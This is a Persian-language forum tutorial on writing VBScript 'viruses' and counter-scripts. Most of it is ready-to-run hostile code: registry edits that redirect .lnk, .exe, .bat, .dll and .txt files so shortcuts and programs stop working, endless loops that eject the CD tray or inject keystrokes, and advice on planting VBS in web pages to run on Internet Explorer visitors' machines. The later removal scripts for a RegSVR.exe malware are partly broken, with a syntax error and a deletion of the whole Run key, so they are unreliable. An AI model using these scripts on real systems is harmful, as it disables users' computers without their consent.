SpareNet Servers Advertising & Link Exchange

اطلاعیه

بستن
هیچ اطلاعیه ای هنوز ایجاد نشده است .

ویروس های VBS و طریقه مقابله با آنها

بستن
X
 
  • فیلتر
  • زمان
  • نمایش
پاک کردن همه
نوشته‌های جدید

  • ویروس های VBS و طریقه مقابله با آنها

    تو اين آموزش ها ما مي خوايم به روش هاي مختلف نوشتن ويروس هاي VBS بپردازيم



    WSH* يكي از تكنولو*ي هاي اسكريپت نويسي در ويندوز مي باشد .دليل نامگذاري آن به عنوان HOST اين است كهبه زبان هاي برنامه نويسي آشنايي ندارد و به همين خاطر مايكروسافت آن را Language Agnostic مي نامد .

    WSH *از موتور زبان هاي برنامه نويسي VB , C , C++ استفاده مي كند كه آن را با نام VBScript و Jscript* استفاده مي كند . اجرا كننده ي اين كد ها فايلي با نام Wscript.exe مي باشد .


    اگر شما به زبان برنامه نويسي Visual Basic* آشنايي داشته باشيد مي توانيد خيلي ساده با VBS هم برنامه هايي را كه براي كارتان مورد نياز است را بنويسيد .




    در اين درس ما مي خواهيم يك ويروسي را بنويسيم كه از اجراي فايل ها با پسوند مشخص جلوگيري كند و در نهايت ژروسه ي explorer.exe را يك بار end* كند و دوباره آن را اجرا كندد .


    اگر ما بخواهيم اين كار را به صورت دستي انجام دهيم بايد موارد زير را اعمال كنيم .



    به شاخه ي زير از رجيستري ويندوز مي رويم





    [align=left]HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Explorer\FileExts\.lnk\UserChoice[/align]


    سپس در اين قسمت يك مقدار با نام PROGID مي سازيم و مقدار آن را Applications\explorer.exe و يا هر برنامه ي ديگري مي گذاريم




    و در نهايت پروسه Explorer.exe را يك دور end مي كنيم و آن را دوباره Run مي كنيم .



    اما اگر بخواهيم مراحل بالا را از طريق زبان VBS بنويسيم بسيار ساده تر مي شود .




    در اينجا ما فايل هايي كه با پسوند LNK هستند را غير فعال مي كنيم . در صورتي كه اين نوع فايل ها در ويندوز غير فعال شود هيچ shortcutي در ويندوز قابل اجرا نمي باشد و از بين مي روند .




    از كد زير جهت انجام مراحل بالا استفاده مي كنيم


    تغيير در رجيستري و ساخت مقدار PROGID*و انتصاب مقدار Applications\explorer.exe به آن .




    کد:
      
    HKEY_CURRENT_USER = &H80000001
    strComputer = "."
    Set objReg = GetObject("winmgmts:\\" & strComputer & "\root\default:StdRegProv")
    strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.lnk\UserChoice"
    objReg.CreateKey HKEY_CURRENT_USER, strKeyPath
    ValueName = "Progid"
    strValue = "Applications\explorer.exe"
    objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName, strValue
    و براي اينكه بخواهيم پروسه ي Explorer.exe*را هم Restart كنيم از كد زير استفاده مي كنيم .


    [code]
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
    Set colProcessList = objWMIService.ExecQuery _
    ("Select * from Win32_Process Where Name = 'explorer.exe'")
    For Each objProcess in colProcessList
    objProcess.Terminate()
    Next

    Dim oShell : Set oShell = CreateObject("WScript.Shell")

    'oShell.Run "taskkill /im explorer", , True

    WScript.Sleep 3000

    oShell.Run "explorer.exe", , True
    [code]

    اينجا ما مي خوايم كمي كد رو گسترش بديم و فايل هاي exe و bat, , com و ... رو هم بهش اضافه كنيم .


    کد:
    HKEY_CURRENT_USER = &H80000001
     
    strComputer = "."
    
    Set objReg = GetObject("winmgmts:\\" & strComputer & "\root\default:StdRegProv")
    
    strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.txt\UserChoice"
     
    objReg.CreateKey HKEY_CURRENT_USER, strKeyPath
     
    ValueName = "Progid"
    
    strValue = "Applications\explorer.exe"
    
    objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName, strValue
    
    
    '----------------------
    
    HKEY_CURRENT_USER = &H80000001
     
    strComputer = "."
     
    Set objReg = GetObject("winmgmts:\\" & strComputer & "\root\default:StdRegProv")
     
    strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.bat\UserChoice"
     
    objReg.CreateKey HKEY_CURRENT_USER, strKeyPath
     
    ValueName = "Progid"
      
    strValue = "Applications\explorer.exe"
     
    objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName, strValue
     
    '----------------------------
    
    HKEY_CURRENT_USER = &H80000001
     
    strComputer = "."
     
    Set objReg = GetObject("winmgmts:\\" & strComputer & "\root\default:StdRegProv")
     
    strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.dll\UserChoice"
     
    objReg.CreateKey HKEY_CURRENT_USER, strKeyPath
     
    ValueName = "Progid"
     
    strValue = "Applications\explorer.exe"
     
    objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName, strValue
     
    '--------------------------------
     
    HKEY_CURRENT_USER = &H80000001
     
    strComputer = "."
     
    Set objReg = GetObject("winmgmts:\\" & strComputer & "\root\default:StdRegProv")
    strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.exe\UserChoice"
    
     objReg.CreateKey HKEY_CURRENT_USER, strKeyPath
     
    ValueName = "Progid"
     
    strValue = "Applications\explorer.exe"
     
    objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName, strValue
    خوب حالا ما مي خواييم يك آنتي ويروس براي اين ويروس بنويسيم

    براي اينكار كافيه كليه ي كد هاي مراحل ويروس را نگاه كنيم و كد ها را معكوس كنيم .اما چند مطلب وجود دارد .

    شما كد MSGbox “BHG” را داخل يك فايل با پسوند VBS بگذاريد و آن را اجرا كنيد مي بينيد كه پيغامي با نام BHG ظاهر مي شود حالا وارد taskmgr شويد و مي بينيد كه در ليست پروسه ها فايلي با نام Wscript.exe وجود دارد كه با end*كردن اون اين ژيغام هم از بين مي ورد . اگر ما فرض كنيم كه يك ويروس Vbs وارد سيستم ما شده ما اول از همه بايد از طريق پروسه ي اين ويروس كه همان Wscript.exe هست محل آن را شناسايي كنيم و سسپس با خواندن محتويات كد معكوس آن را انجام دهيم .


    آنتي ويروس بال به شكل زير بوده

    کد:
     
    HKEY_CURRENT_USER = &H80000001
    
    strComputer = "."
     
    Set objReg = GetObject("winmgmts:\\" & strComputer & "\root\default:StdRegProv")
       
    strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.lnk\UserChoice"
       
    objReg.deleteKey HKEY_CURRENT_USER, strKeyPath
    
       ValueName = "Progid"
    
       strValue = "Applications\explorer.exe"
       
    objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName, strValue
    
     '-------------------------------- 
      
    HKEY_CURRENT_USER = &H80000001
       
    strComputer = "."
    
     Set objReg = GetObject("winmgmts:\\" & strComputer & "\root\default:StdRegProv")
       
    strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.txt\UserChoice"
       
    objReg.deleteKey HKEY_CURRENT_USER, strKeyPath
      
    ValueName = "Progid"
       
    strValue = "Applications\explorer.exe"
       
    objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName, strValue
     
    '----------------------
       
    HKEY_CURRENT_USER = &H80000001
       
    strComputer = "."
       
    Set objReg = GetObject("winmgmts:\\" & strComputer & "\root\default:StdRegProv")
       
    strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.bat\UserChoice"
       
    objReg.deleteKey HKEY_CURRENT_USER, strKeyPath
    
       ValueName = "Progid"
       
    strValue = "Applications\explorer.exe"
    
     objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName, strValue
    
       
    '----------------------------
       
    HKEY_CURRENT_USER = &H80000001
       
    strComputer = "."
       
    Set objReg = GetObject("winmgmts:\\" & strComputer & "\root\default:StdRegProv")
       
    strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.dll\UserChoice"
       
    objReg.deleteKey HKEY_CURRENT_USER, strKeyPath
     
    ValueName = "Progid"
       
    strValue = "Applications\explorer.exe"
       
    objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName, strValue
       
    '--------------------------------
       
    HKEY_CURRENT_USER = &H80000001
       
    strComputer = "."
     
    Set objReg = GetObject("winmgmts:\\" & strComputer & "\root\default:StdRegProv")
       
    strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.exe\UserChoice"
       
    objReg.deleteKey HKEY_CURRENT_USER, strKeyPath
       
    ValueName = "Progid"
     
    strValue = "Applications\explorer.exe"
       
    objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName, strValue
     
    '==============================
    
    strComputer = "."
       
    Set objWMIService = GetObject("winmgmts:" _
       
    & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
       
    Set colProcessList = objWMIService.ExecQuery _
       
    ("Select * from Win32_Process Where Name = 'explorer.exe'")
       
    For Each objProcess in colProcessList
    
     objProcess.Terminate()
    
    Next
     
    Dim oShell : Set oShell = CreateObject("WScript.Shell")
    
     WScript.Sleep 3000
     
    oShell.Run "explorer.exe", , True
    
     
      
    '===============================
    آشنايي با روش هاي مختلف Script نويسي در ويندوز براي وقت هايي مناسب هستند كه ما مي خواهيم يك برنامه ي خاص را بنويسيم اما هيچ نوع كامپايلر زبان برنامه نويسي بر روي سيستم نصب نمي باشد .




    اما اگر از ديدگاه علوم هك و امنيت بخواهيم نگاه كنيم جهت bypass*كردن اقدامات امنيتي ايجاد شده بر روي ويندوز و يا جهت نوشتن يك آنتي ويروس براي ويروس داخل سيستم مي توان از آنها استفاده كرد .



    اما اینکه چطوری ما از کد های vbs در صفحات وب استفاده کنیم

    این کار رو میشه کرد اما فقط در IE میشه کد ها رو اجرا کرد اینه که میگن از این IE استفاده نکنید . اما گوش که نمیکنید

    من اگه بخوام که وقتی فردی وارد صفحه ما میشه پیغامی به اون داده بشه به شکل زیر عمل می کنم


    کد:
    <html>
    <body>
    <script type="text/vbscript">
    document.write("Hello BHG")
    </script>
    </body>
    </html>
    برای اینکه بگیم ما داریم از زبان VBS استفاده می کنیم باید از مقدار زیر در بدنه صفحه استفاده کنیم


    کد:
    <script type="text/vbscript">
    ...
    </script>
    باید حتما فرمان <script type="text/vbscript"> و یا <script language="vbscript" type="text/vbscript"> را ما بنویسیم که مشخص بشه که داریم از این زبان استفاده میشه

    خوب شما می تونید از این طریق یک ویروسی رو وارد سیستم فرد کنید و اون رو روی سیستمش اجرا کنید

    اما فقط در صورتی که اون نفر از IE استفاده کنه

    ما بقیهی فرامین استفاده از VBS مانند خود ویژوال بیسیک هستش

    برای اطلاعات بیشتر می تونید به لیتنک های زیر برید


    [align=left]http://www.tizag.com/vbscriptTutorial/
    http://www.quackit.com/vbscript/tutorial/[/align]


    یا از گوگل کمک بگیرید

    در زير سعي ميكنيم چندين ويروس به زبان vBs را بزاريم و طريقه مقابله با آنها را نيز شرح دهيم .


    تو این تاپیک کلیه ی های ویروس هایی که با Visual Basic Scripting Edition در Wscipt با استفاده از Notepade ساخته میشه رو معرفی میکنیم .


    فایل ها با نام BHG.VBS ذخیره بشه

    برای از کار انداختن اونها می تونید Wscript را در Taskmgr را End نمایید .

    =======================================
    =======================================
    =======================================

    این ویروس میاد هر 5 ثانیه یک بار سی دی رم رو باز میکنه

    کد:
    [LEFT]Set oWMP = CreateObject("WMPlayer.OCX.7")
    Set colCDROMs = oWMP.cdromCollection
    do
    if colCDROMs.Count >= 1 then
    For i = 0 to colCDROMs.Count - 1
    colCDROMs.Item(i).Eject
    Next
    For i = 0 to colCDROMs.Count - 1
    colCDROMs.Item(i).Eject
    Next
    End If
    wscript.sleep 5000
    loop[/LEFT]
    ---------------------------------
    این ویروس میاد چراغ Caps lock رو روشن خاموش میکنه

    کد:
    [LEFT]Set wshShell =wscript.CreateObject("WScript.Shell")
    do
    wscript.sleep 100
    wshshell.sendkeys "{CAPSLOCK}"
    loop[/LEFT]
    -----------------------------------

    این نوع ویروس ویندوز رو دیوانه میکنه رو یاهو هم کر میکنه pm های سریع میده

    کد:
    [LEFT]Set wshShell = wscript.CreateObject("WScript.Shell")
    do
    wscript.sleep 100
    wshshell.sendkeys "~(enter)"
    loop[/LEFT]
    کد:
    MsgBox "Let's go back a few steps"
    Set wshShell =wscript.CreateObject("WScript.Shell")
    do
    wscript.sleep 100
    wshshell.sendkeys "{bs}"
    loop
    ---------------------------------------

    این ویروس کلمه ی BHG رو تو pm یاهو و یا Notoad و Word و ... می نویسه کلا

    کد:
    [LEFT]Set wshShell = wscript.CreateObject("WScript.Shell")
    do
    wscript.sleep 100
    wshshell.sendkeys "BHGl."
    loop
    [/LEFT]
    ----------------------------------------------

    ======================================
    ======================================

    سلام

    امروز می خوام طریقه ی نوشتن آنتی ویروس رو برای ویروس ها روبا استفاده از زبان برنامه نویسی VBscript و با استفاده از فایل های Bat رو بگم

    برای این کار من یک ویروسی رو که دیده بودم رو اسم می برم و اون رو انالیز می کنم براتون و میام آنتیشو می نویسم

    اسم ویروس RegSVR.exe هست


    یک کپی از خودش رو جهت انجام عملیات مخربش تو این قسمت ها میزاره


    C:\WINDOWS با نام Regsvr.exe که نه hidden و نه ... شده


    C:\windows\system32 به همین اسم منتها به صورت Hidden و System اونجا هست


    C:\windows\system32 به اسم Svhost .exe تو System32 که یک فاصله بین اسم و پسوند فایل وجود داره که با فایل اصلی اشتباه نشه و ویندوز اجازه ی کپی رو بهش بده


    "C:\DOCUME~1\L4TR0D~1\LOCALS~1\Temp\Rar$EX45.3 52\v \regsvr.exe" و همچنین اینجا


    ------------------

    در Taskmgr هم

    با اسم regsvr.exe می باشد

    -----------------
    در رجیستری

    در مسیر های زیر

    HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Run\ با اسم Msn Messsenger
    که فایل System32 را بالا میلره

    ----------------------

    پورت هایی که باز میکنه

    پورت 2648 هست که با اسم نا شناس هم این کار رو می کنه

    ================================================== =======

    خوب حالا دوباره یکی یکی مرور می کنیم

    آولین کاری که باید انجام بدیم end کردن پروسه بد افزار هست برای اینکار از فرمان زیر استفاده می کنیم
    کد:
    [LEFT]
    taskkill /f /IM regsvr.exe[/LEFT]
    از اونجایی که این ویروس از یک dll خاص استفاده می کنه پس ما باید یک فیلترینگ هم بزاریم که بتونه dll رو هم از بین ببریم
    کد:
    [LEFT]taskkill /f /fi "modules eq consol.dll"[/LEFT]
    سپس باید فایل هایی که توسط بد افزار ایجاد شده رو Regsvr رو حذف کنیم
    کد:
    [LEFT]del "c:\windows\regsvr.exe"
    del "c:\windows\system32\regsvr.exe"
    del "c:\windows\svhost .exe"
    del "c:\windows\svhost .exe
    del "%temp%\Rar$EX45.352\v\regsvr.exe"[/LEFT]
    و بعد Startup اون رو که توی رجیستری انجام میشه رو باید حذف کنیم
    کد:
    [LEFT]REG DELETE \HKLu\Software\Microsoft\Windows\CurrentVersion\Ru n /v "msn messenger"[/LEFT]
    و در نهایت پورتی که توسط بد افزار بر روی سیستم باز شده رو هم باید بست
    کد:
    [LEFT]netsh firewall delete portopening protocol = TCP port = 2648[/LEFT]
    کل آنتی ویروس تو این چند کل خلاصه میشه
    کد:
    [LEFT]taskkill /f /IM regsvr.exe
    taskkill /f /fi "modules eq consol.dll"
    del "c:\windows\regsvr.exe"
    del "c:\windows\system32\regsvr.exe"
    del "c:\windows\svhost .exe"
    del "%temp%\Rar$EX45.352\v\regsvr.exe"
    REG DELETE \HKLu\Software\Microsoft\Windows\CurrentVersion\Run /v "msn messenger"
    netsh firewall delete portopening protocol = TCP port = 2648[/LEFT]
    ================================================== ====
    ================================================== ====
    حالا می خوام همین کد رو به زبان VBscript بزارم

    کد:
    [COLOR="Red"]' end kardane process [/COLOR]
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:" _
        & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
    Set colProcessList = objWMIService.ExecQuery _
        ("Select * from Win32_Process Where Name = 'regsvr.exe'")
    For Each objProcess in colProcessList
        objProcess.Terminate()
    Next
    کد:
    [COLOR="Red"]' delete kardane file ha[/COLOR]
    
    Set obj = CreateObject("Scripting.FileSystemObject") 
    obj.DeleteFile("c:\windows\regsvr.exe")
    obj.DeleteFile("c:\windows\system32\regsvr.exe")
    obj.DeleteFile("c:\windows\svhost .exe")
    obj.DeleteFile("c:\windows\regsvr.exe ")
    obj.DeleteFile("%temp%\Rar$EX45.352\v\regsvr.exe ")
    کد:
    [COLOR="red"]' delete kardane meghdar dar \registry [/COLOR]
    
    HKEY_CURRENT_USER = &H80000001
    strComputer = "."
    Set objReg = GetObject("winmgmts:\\" & strComputer & "\root\default:StdRegProv")
    strKeyPath = " Software\Microsoft\Windows\CurrentVersion\Run""
    objReg.deleteKey HKEY_CURRENT_USER, strKeyPath
    ValueName = " msn messenger"
    objReg.SetStringValue HKEY_CURRENT_USER, strKeyPath, ValueName, strValue
    کد:
    [COLOR="red"]
    ' bastane port baz shode [/COLOR]
    
    Set objFirewall = CreateObject("HNetCfg.FwMgr")
     
    Set objPolicy = objFirewall.LocalPolicy.CurrentProfile
    
    Set colPorts = objPolicy.GloballyOpenPorts
    
    errReturn = colPorts.Remove(2648,6)



    __________________
صبر کنید ..
X